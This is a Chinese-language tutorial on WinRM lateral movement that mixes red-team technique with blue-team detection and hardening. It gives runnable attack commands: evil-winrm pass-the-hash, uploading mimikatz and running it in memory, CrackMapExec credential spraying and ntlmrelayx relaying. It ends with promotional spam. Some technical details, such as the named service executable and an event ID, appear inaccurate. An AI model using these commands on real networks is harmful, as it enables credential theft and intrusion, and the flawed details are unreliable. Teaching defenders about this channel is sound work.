免责声明本文仅供网络安全学习、红蓝对抗、企业内网安全加固使用所有命令、复现操作仅允许在自己拥有授权的靶场、测试环境执行严禁对未授权内网主机进行扫描与攻击操作。前言在内网渗透横向移动技术中大家聊的最多的往往是 SMB、WMI、RDP。SMB 永恒之蓝、psexecWMI 的 wmiexecRDP 的哈希传递爆破几乎是每一个渗透测试学习者入门必学内容。但是**WinRMWindows Remote Management**这条横向移动通道很多安全从业者理解非常浅薄甚至很多运维人员完全不了解这套协议带来的内网安全风险。MITRE ATTCK 将 WinRM 横向移动标记为T1021.006大量真实 APT、红蓝对抗报告中攻击者拿到域内凭据之后优先选择 WinRM 进行内网漫游。SolarWinds 入侵事件中 APT29 就大量使用 WinRMPowerShell Remoting 在内网横向移动。它最大特点流量基于 HTTP/HTTPS5985/5986 端口报文是 SOAP‑XML 格式相比 SMB不容易被传统内网防护设备感知支持哈希传递、票据传递可以直接获得交互式 PowerShell支持内存加载脚本文件上传下载几乎没有落地文件隐蔽性极强。Windows Server2012 及之后服务器版本WinRM 服务默认开机自动很多企业使用组策略批量开启 WinRM 用于服务器自动化运维域内大量服务器 5985 端口对外开放。而运维人员的安全监控重点放在 445、3389忽略 5985/5986 端口审计造成巨大攻击面。本篇文章完整拆解 WinRM 底层原理、通信流程、开启条件、内网探测手段、多种攻击实战、常见坑点、日志审计、完整加固方案读完可以完整理解这条容易被忽略的横向移动通道既可以用于渗透实战也可以用于企业内网风险排查。一、WinRM 基础原理认知1.1 什么是 WinRMWinRM 全称 Windows Remote Management是微软实现WS‑ManagementWS‑Man标准协议的服务底层基于 SOAP XML封装在 HTTP/HTTPS 之上专门用于 Windows 远程系统管理。而大家常说的PowerShell RemotingPowerShell 远程底层传输依赖就是 WinRM二者不能混为一谈WinRM 是底层传输协议PowerShell Remoting 是跑在 WinRM 之上的远程命令执行能力。简单类比WinRM ≈ SSH 协议底层通信PowerShell Remoting ≈ SSH 得到交互式 Shell很多新手误区开启 WinRM 就等于开启 PowerShell 远程。WinRM 服务运行不代表一定启用 PSRemoting但是绝大多数运维环境开启 WinRM 同时打开 PowerShell 远程会话。端口TCP5985HTTP 明文传输绝大多数内网环境使用这个TCP5986HTTPS 加密通信证书认证生产环境规范部署会使用 5986 端口。服务名称WinRM可执行文件ws‑mgr.exe。当建立 PowerShell 远程会话之后目标主机生成进程wsmprovhost.exe每一个远程会话对应一个该进程用户上下文为登录账号。1.2 WinRM 支持的认证方式WinRM 支持多种认证机制也是攻击者能够横向移动的基础Negotiate协商优先 Kerberos降级 NTLM域环境默认。支持 Pass‑the‑Hash 哈希传递这是内网攻击最核心的认证方式。CredSSP凭证委派存在 CredSSP 中继漏洞高危不建议生产开启。Basic 基础认证明文账号密码内网极少启用。Certificate 证书认证使用证书登录多用于 HTTPS 侦听器。关键点只要目标 WinRM 侦听器启用 NTLM 协商认证攻击者拿到账号 NTLM 哈希不需要明文密码就可以直接登录远程主机。1.3 WinRM 生效的必要条件攻击成功三要素想要通过 WinRM 横向移动三个条件必须全部满足缺一不可目标主机 WinRM 服务运行配置侦听器listener监听 5985/5986防火墙入站规则放行 WinRM 流量默认开启 WinRM quickconfig 会自动添加防火墙放行规则访问账号权限账号属于目标机器本地管理员组或者被授权 PowerShell 远程会话权限。注意就算服务跑起来如果没有配置 listener 侦听器也无法接收外部网络连接。很多服务器 WinRM 服务启动但是没有侦听器外部无法连接。1.4 客户端与服务端开启方式服务端目标机器开启 WinRM管理员权限 PowerShell 执行最常用命令winrm quickconfig该命令自动启动 WinRM 服务、设置自动启动、创建 HTTP 侦听器、添加防火墙放行 5985 入站规则。开启完整 PowerShell Remoting包含会话端点配置Enable‑PSRemoting -ForceWindows 桌面系统 Win10/Win11 家庭版默认没有开启服务器 Server2012 服务默认自动但不一定配置侦听器。组策略批量域内机器开启 WinRM 路径计算机配置\管理模板\Windows组件\Windows Remote Management(WinRM)\WinRM服务→允许自动配置侦听器。很多企业用 GPO 批量给服务器开启 WinRM导致域内大面积 5985 开放Microsoft …。客户端机器配置Windows 本机使用 Enter‑PSSession、Invoke‑Command 连接其他机器客户端需要配置 TrustedHosts 信任主机列表否则跨域、工作组环境会报错。#允许连接任意主机测试环境 Set‑Item WSMan:\localhost\Client\TrustedHosts -Value * -Force1.5 WinRM vs WMI vs SMB 横向移动对比很多新手分不清三者的横向移动差异做简单对比特性WinRM(5985/5986)WMI (135 动态 DCOM 端口)SMB(445)底层协议HTTP/SOAP‑XMLDCOM‑RPCSMB over TCP默认端口5985/5986135 随机高位端口445交互式 shell原生支持完整 PowerShell 交互无原生交互单条命令执行psexec 得到 cmd shell哈希传递支持 Pass‑the‑Hash支持 Pass‑the‑Hash支持 Pass‑the‑Hash文件上传下载原生支持上传下载不方便需要 SMB 辅助读写共享文件进程wsmprovhost.exewmiprvse.exesmbhost流量特征HTTP XML 报文流量特征相对隐蔽RPC 二进制流量SMB 二进制流量WMI 需要开放大量动态高位端口防火墙环境中经常被拦截而 WinRM 只有固定 5985/5986防火墙放行之后攻击者可以稳定执行命令。二、内网探测如何发现内网开放 WinRM 的资产拿到内网立足点之后攻击者第一步就是探测网段中哪些主机开启 5985/5986 端口进一步验证 WinRM 侦听器是否真正可用。2.1 Nmap 端口扫描#批量扫描网段5985、5986端口 nmap -p5985,5986 192.168.1.0/24 -T4端口 open 只代表端口监听不代表 WinRM 侦听器正常可用端口开放有可能是其他程序占用需要进一步验证 WS‑Man 服务。2.2 Nmap 脚本检测 WinRM 服务状态nmap -p5985,5986 --script winrm‑info 192.168.1.100脚本会尝试访问/wsman端点如果返回 WS‑Man 协议版本信息确认目标存在可用 WinRM 服务。2.3 CrackMapExec 批量探测 凭据测试CrackMapExec 是内网神器可以批量网段测试账号是否可以登录 WinRM 端点#批量网段测试密码 crackmapexec winrm 192.168.1.0/24 -u administrator -p Password123 #使用NTLM哈希批量测试pth crackmapexec winrm 192.168.1.0/24 -u administrator -H NTHASH值结果显示(Pwn3d!)代表凭据有效该账号可以通过 WinRM 登录目标主机。2.4 Windows 本机自带工具探测在已经拿到的 Windows 跳板机使用 Test‑WSMan 测试远程主机 WinRM 可用性Test‑WSMan 192.168.1.100成功返回 WSMan 协议版本说明侦听器正常工作。探测踩坑很多服务器防火墙外部拦截 5985但是域内机器之间防火墙放行。攻击者拿下一台域内机器之后向内网扫描会发现大量内网服务器开放 WinRM。三、WinRM 各类攻击实战3.1 Linux 攻击机 Evil‑WinRM最常用工具evil‑winrm 是渗透测试最主流 WinRM 工具支持密码登录、哈希传递 PtH、票据 PtT文件上传下载内存加载 ps1 脚本AMSIBypass几乎红队标配工具。安装kaligem install evil‑winrm使用明文密码连接evil‑winrm -i 192.168.1.100 -u Administrator -p Admin123456Pass‑the‑Hash 哈希传递没有明文密码只用 NT Hash内网最常用攻击方式evil‑winrm -i 192.168.1.100 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx注意‑H 参数填写完整 LM:NT 哈希如果 LM 为空前面填aad3b435b51404eeaad3b435b51404ee。域账号连接evil‑winrm -i dc01.test.local -u test\domainadmin -H 完整哈希工具内置上传下载#evil‑winrm交互shell内部 upload /tmp/mimikatz.exe C:\temp\mimikatz.exe download C:\Windows\System32\drivers\etc\hosts ./hosts.txt内存加载本地 ps1 脚本不落地磁盘evil‑winrm -i 192.168.1.100 -u Administrator -H hash -s /home/kali/scripts #进入shell直接执行脚本名字比如Invoke‑Mimikatz *Evil‑WinRM* PS Invoke‑Mimikatzevil‑winrm 优势直接拿到完整 PowerShell 交互式 shell不是单条命令执行和正常登录几乎一模一样。3.2 Windows 跳板本机使用 PowerShell Remoting 横向当已经获取一台 Windows 机器权限可以直接使用系统原生 PowerShell 进行 WinRM 横向不需要上传第三方工具攻击流量更加贴近正常业务管理流量。方式 1Enter‑PSSession 获取交互式远程 shell#配置信任主机 Set‑Item WSMan:\localhost\Client\TrustedHosts -Value * -Force #凭据 $cred Get‑Credential #连接远程主机 Enter‑PSSession -ComputerName 192.168.1.100 -Credential $cred成功之后命令提示符变为[192.168.1.100]: PS代表已经进入远程机器会话目标主机产生 wsmprovhost.exe 进程。方式 2Invoke‑Command批量远程执行命令不需要交互式会话直接在远程机器执行指定脚本代码适合批量多主机执行。$credGet‑Credential Invoke‑Command -ComputerName 192.168.1.100 -Credential $cred -ScriptBlock {whoami;hostname}批量多台机器执行$computers (192.168.1.100,192.168.1.101) Invoke‑Command -ComputerName $computers -Credential $cred -ScriptBlock {Get‑Process}Invoke‑Command 执行的代码运行在远程主机 wsmprovhost 进程内存默认不会落地文件。这也是红队非常喜欢的无文件攻击方式。方式 3New‑PSSession 建立持久会话$session New‑PSSession -ComputerName 192.168.1.100 -Credential $cred #把脚本导入远程会话内存 Import‑PSSession $session3.3 WinRS 原生命令行工具winrs 是 Windows 自带调用 WinRM 执行命令工具得到 cmd 命令执行不是 PowerShell 环境。winrs -r:http://192.168.1.100:5985/wsman -u:Administrator -p:Admin123456 whoami3.4 Impacket 工具集 winrm 脚本Impacket 套件中winrm.py适合单条命令执行python3 winrm.py test.local/Administrator:Password192.168.1.100 #哈希传递 python3 winrm.py -hashes aad3b435b51404eeaad3b435b51404ee:xxxxxx test.local/Administrator192.168.1.1003.5 NTLM Relay 中继攻击 WinRMWinRM 支持 NTLM 协商认证因此可以成为 NTLM 中继的目标。攻击者使用 impacket 的 ntlmrelayx捕获内网 NTLM 认证中继转发到目标 5985 端口如果目标没有开启 SMB 签名就可以中继成功直接执行命令不需要提前拿到账号哈希。ntlmrelayx.py -t http://192.168.1.100:5985/wsman风险如果服务器开启 Extended Protection 扩展保护会防御 NTLM Relay 攻击。很多老的域服务器没有开启该防护存在中继风险。3.6 常见攻击失败踩坑点坑 1账号是本地管理员但是 WinRM 登录返回 Access denied现象账号确实属于本地管理员组凭据正确但是 WinRM 访问拒绝。原因UAC 远程限制 LocalAccountTokenFilterPolicy。工作组机器本地账号远程登录默认会被过滤为受限 token没有真正管理员权限。注册表修复目标机器HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System新建 DWORDLocalAccountTokenFilterPolicy1。攻击者拿到本地管理员权限会修改这个注册表解除 UAC 远程限制完成 WinRM 登录。域账号不受该注册表影响Microsoft …。坑 2TrustedHosts 不信任目标主机报错工作组环境客户端没有把目标 IP 加入 TrustedHosts 信任列表连接直接失败。需要配置Set‑Item WSMan:\localhost\Client\TrustedHosts。坑 3防火墙拦截 5985端口扫描 closed防火墙阻止入站无法建立会话。坑 4WinRM 服务运行但是没有配置 listener 侦听器服务 ws‑mgr.exe 运行但是没有侦听 5985Test‑WSMan 直接失败。坑 5账号不在 PowerShell 会话权限列表就算是管理员如果被管理员修改 pssession 配置移除访问权限也会访问拒绝。查看会话权限Get‑PSSessionConfiguration四、WinRM 攻击流量与日志取证分析很多企业发生入侵之后完全没有意识到攻击者使用 WinRM 横向因为管理员习惯只监控 445、3389 相关日志。WinRM 有独立日志源应急响应需要重点查看。4.1 关键进程线索服务进程ws‑mgr.exeWinRM 服务主进程远程会话进程wsmprovhost.exe每一条成功 PowerShell 远程会话都会产生该进程进程的用户名为登录账号。应急看到陌生 wsmprovhost.exe 进程说明有人正在使用 PowerShell RemotingWinRM登录本机。4.2 事件日志位置应用程序和服务日志 → Microsoft‑Windows‑Windows Remote Management‑OperationalWinRM 自身操作日志安全日志Security账号登录、登出 4624、4633 事件。4.3 重点事件 ID 汇总安全日志 4624登录成功登录类型3网络登录登录进程名称为wsman代表 WinRM 认证成功登录。这是最重要日志确认攻击者登录来源 IP、账号。安全日志 4625登录失败WinRM 账号密码 / 哈希错误的失败登录暴力破解会产生大量 4625。WinRM Operational 日志Event ID 91收到外部 WS‑Man 请求记录客户端来源 IP。WinRM Operational 日志Event ID 142会话创建代表一个 PowerShell 远程会话建立记录会话 ID关联 4624 登录事件。WinRM Operational 日志Event ID 143会话销毁用户断开连接。很多 SIEM 默认不会采集 Microsoft‑Windows‑Windows Remote Management‑Operational 日志造成攻击者 WinRM 横向完全无告警这是大量企业监控盲区。4.4 流量特征WinRM HTTP 流量访问 URL 固定端点http://ip:5985/wsmanPOST 请求Body 为 SOAP XML 数据包。Wireshark 抓包可以看到 http post 请求内容大量 xml 标签。即使是哈希传递网络传输报文也是 NTLM 协商的标准 HTTP 报文没有特殊畸形包IDS 很容易把它当成正常 Web 流量放过。4.5 真实入侵案例还原攻击链攻击者拿到一台内网机器dump 内存获得域管理员 NTLM 哈希内网扫描发现多台服务器 5985 端口开放使用 evil‑winrm PtH 哈希传递使用域管理员哈希连接服务器 5985建立 WinRM 会话wsmprovhost.exe 在目标服务器内存运行内存加载 mimikatz抓取更多凭证继续对内网其他服务器进行 WinRM 横向漫游整个过程没有触碰 445 SMB没有 3389 RDP 登录记录。运维排查只看 SMB 和 RDP 日志完全找不到攻击者痕迹。这就是 WinRM 的危险性流量伪装成系统管理流量传统监控很容易漏掉。五、WinRM 安全风险总结与错误配置场景很多企业为了运维方便直接放开 WinRM存在多种高危错误配置。风险 1域内大量服务器开启 WinRM防火墙无来源 IP 限制防火墙入站规则允许任意 IP 访问 5985 端口。只要攻击者拿到一个高权限账号哈希直接内网全量横向移动。很多组策略一键开启 WinRM没有做源 IP 限制。风险 2工作组服务器开启 WinRM本地管理员账号开启 UAC 远程限制关闭注册表LocalAccountTokenFilterPolicy1攻击者拿到本地管理员哈希直接 PtH 登录。很多运维为了远程管理方便手动修改该注册表。风险 3开启 CredSSP 认证CredSSP 协议存在 NTLM 中继漏洞攻击者可以中继 CredSSP窃取管理员凭据WinRM 配置中尽量关闭 CredSSP。查看 WinRM 认证配置Get‑Item WSMan:\localhost\Service\Auth\*风险 4启用 Basic 明文认证Basic 认证账号密码 http 明文传输攻击者抓包直接拿到账号密码高危禁止开启。风险 5TrustedHosts 配置过于宽泛客户端 TrustedHosts 设置为 *不校验服务端身份存在服务器欺骗风险容易触发 NTLM 中继。风险 6没有启用 HTTPS 侦听器全部使用 5985 明文 HTTP全部流量明文传输包括 NTLM 协商数据包内网嗅探可以捕获 NTLM Challenge‑Response离线爆破哈希。风险 7普通域用户被授予 PowerShell Remoting 访问权限业务配置失误普通员工账号拥有服务器 WinRM 远程会话权限攻击者拿到普通账号就可以登录服务器。查看 PowerShell 会话权限Get‑PSSessionConfiguration | Get‑PSSessionSecurityDescriptor六、企业完整加固方案生产环境落地如果业务确实需要 WinRM 做服务器运维不能直接关闭服务按照下面多层加固执行业务不需要 WinRM直接关闭服务删除侦听器。加固 1最小化不需要 WinRM 的机器直接关闭不需要远程管理的服务器关闭 WinRM 服务删除侦听器。#删除侦听器 winrm delete winrm/config/Listener?Address*TransportHTTP #设置服务禁用 Set‑Service WinRM -StartupType Disabled Stop‑Service WinRM加固 2防火墙严格限制源 IP 访问最重要如果业务必须开放 5985/5986防火墙入站规则不要允许任意 IP仅允许运维堡垒机 IP 段访问 WinRM 端口其他全部拒绝。#修改防火墙规则只允许堡垒机网段 Set‑NetFirewallRule -Name WINRM‑HTTP‑In‑TCP -RemoteAddress (192.168.1.100/32)绝大多数风险来自防火墙没有做源地址控制内网所有机器都可以访问 5985 端口。加固 3优先部署 HTTPS 侦听器 5986废弃明文 5985 HTTP部署证书使用 HTTPS 5986 加密通信关闭 HTTP 5985 侦听器避免明文流量、嗅探风险。加固 4修改 WinRM 服务认证配置#关闭CredSSP、Basic认证 Set‑Item WSMan:\localhost\Service\Auth\CredSSP $false Set‑Item WSMan:\localhost\Service\Auth\Basic $false保留 Kerberos、NTLM Negotiate关闭其他无用认证方式。加固 5UAC 远程限制工作组机器不要随意开启 LocalAccountTokenFilterPolicy1非特殊业务需求保持默认不要修改该注册表阻止本地账号远程 PtH 攻击。域账号不受该配置影响。加固 6收紧 PowerShell Remoting 会话权限只给运维管理员组授予 pssession 访问权限普通域用户移除权限。Set‑PSSessionConfiguration‑Name Microsoft.PowerShell ‑ShowSecurityDescriptorUI弹出权限面板删除无关用户只保留管理员组。加固 7审计日志完整收集SIEM 接入 WinRM Operational 日志必须把Microsoft‑Windows‑Windows Remote Management‑Operational日志转发 SIEM。配置告警规则短时间大量 WinRM 登录失败事件 4625暴力破解非堡垒机来源 IP 出现 WinRM 成功登录 4624登录进程 wsman陌生 IP 创建 PowerShell 远程会话事件 ID142域管理员账号在业务服务器产生 WinRM 登录行为。加固 8组策略管控 WinRM 配置不要大范围 GPO 给全部域机器开启 WinRM仅对运维服务器 OU 下发开启策略普通业务服务器 OU 禁止 WinRM 侦听器。加固 9开启 Extended Protection 扩展保护防御 NTLM Relay 攻击扩展保护可以防护针对 WinRM 的 NTLM 中继攻击域控制器和服务器建议开启。七、日常巡检脚本检测内网 WinRM 风险可以保存为 ps1 脚本在内网服务器巡检执行输出风险项。#1 查看WinRM侦听器 Get‑ChildItem WSMan:\localhost\Listener #2 查看认证配置 Get‑Item WSMan:\localhost\Service\Auth\* #3 查看PowerShell会话权限 Get‑PSSessionConfiguration #4 检查防火墙WinRM规则 Get‑NetFirewallRule -Name WINRM‑HTTP‑In‑TCP | Select‑Object Name,Enabled,RemoteAddress #5 检查LocalAccountTokenFilterPolicy注册表 Get‑ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LocalAccountTokenFilterPolicy -ErrorAction SilentlyContinue巡检重点关注HTTP 侦听器是否存在防火墙 RemoteAddress 是否为 Any 任意地址CredSSP、Basic 认证是否被开启LocalAccountTokenFilterPolicy 等于 1PSSession 是否赋予普通用户访问权限。八、常见运维误区总结误区 1WinRM 端口 5985 不是高危端口在内网开放无所谓错误。只要开放 5985账号泄露之后直接哈希传递横向。很多人只害怕 445、3389低估 5985 风险。SMB 有 SMB 签名防护WinRM 很多服务器没有配置防护更容易被中继、哈希传递。误区 2只关闭 PowerShell Remoting 就安全关闭 Enable‑PSRemoting只是删除 PowerShell 会话端点。但是 WinRM 侦听器依旧运行WS‑Man 其他插件仍然可用攻击者还可以通过 WinRM 调用 WMI 插件执行操作不能完全依赖关闭 PSRemoting。不需要就直接删除 WinRM 侦听器停止服务。误区 3WinRM 日志不重要只看安全日志 4624 就够安全日志 4624 只能看到登录成功看不到会话创建、来源 http 请求细节必须同时开启收集 WinRM Operational 日志否则很多攻击细节丢失。误区 4为了运维方便所有服务器全部开启 LocalAccountTokenFilterPolicy1工作组环境开启这个注册表本地管理员账号可以远程 pth一旦一台机器账号泄露横向爆炸半径极大。误区 5全部使用 GPO 域内所有机器一键开启 WinRM绝大多数 PC 业务机器完全不需要 WinRM 远程管理批量开启会极大扩大攻击面只给必要的服务器 OU 部署。总结WinRM 作为 Windows 原生远程管理协议在现代内网攻防中地位越来越高。它基于 HTTP SOAP端口 5985/5986支持哈希传递、票据传递、NTLM 中继攻击可以获得完整交互式 PowerShell 会话内存执行载荷文件上传下载流量贴近正常运维管理行为极易被安全监控忽略是攻击者非常青睐的横向移动通道。完整回顾重点WinRM 是 WS‑Man 协议实现PowerShell Remoting 跑在 WinRM 之上二者不等同攻击成功三要素服务 侦听器 防火墙放行 账号权限攻击手段包含 evil‑winrm 哈希传递、原生 PowerShell Enter‑PSSession/Invoke‑Command、NTLM 中继UAC 远程过滤 LocalAccountTokenFilterPolicy 是工作组环境常见坑点取证重点关注 wsmprovhost.exe 进程WinRM Operational 日志 ID91、142、143安全日志 4624登录进程 wsman很多企业 SIEM 缺失该部分日志采集形成监控盲区加固核心思路不需要则关闭服务侦听器业务必须使用则防火墙严格限制源 IP优先 HTTPS5986关闭 CredSSP/Basic 危险认证收紧 PowerShell 会话权限完整采集 WinRM 日志配置异常登录告警。很多安全人员学习内网渗透把大量精力放在 SMB、WMI却忽略 WinRM 这条通道。不管是做渗透测试还是做企业内网应急加固都必须重视 5985/5986 端口带来的安全风险。最后关于网络安全技术储备网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣黑客都是未来职业选择中上上之选为了保护自己的网络安全学习网络安全知识是必不可少的。如果你是准备学习网络安全黑客或者正在学习下面这些你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】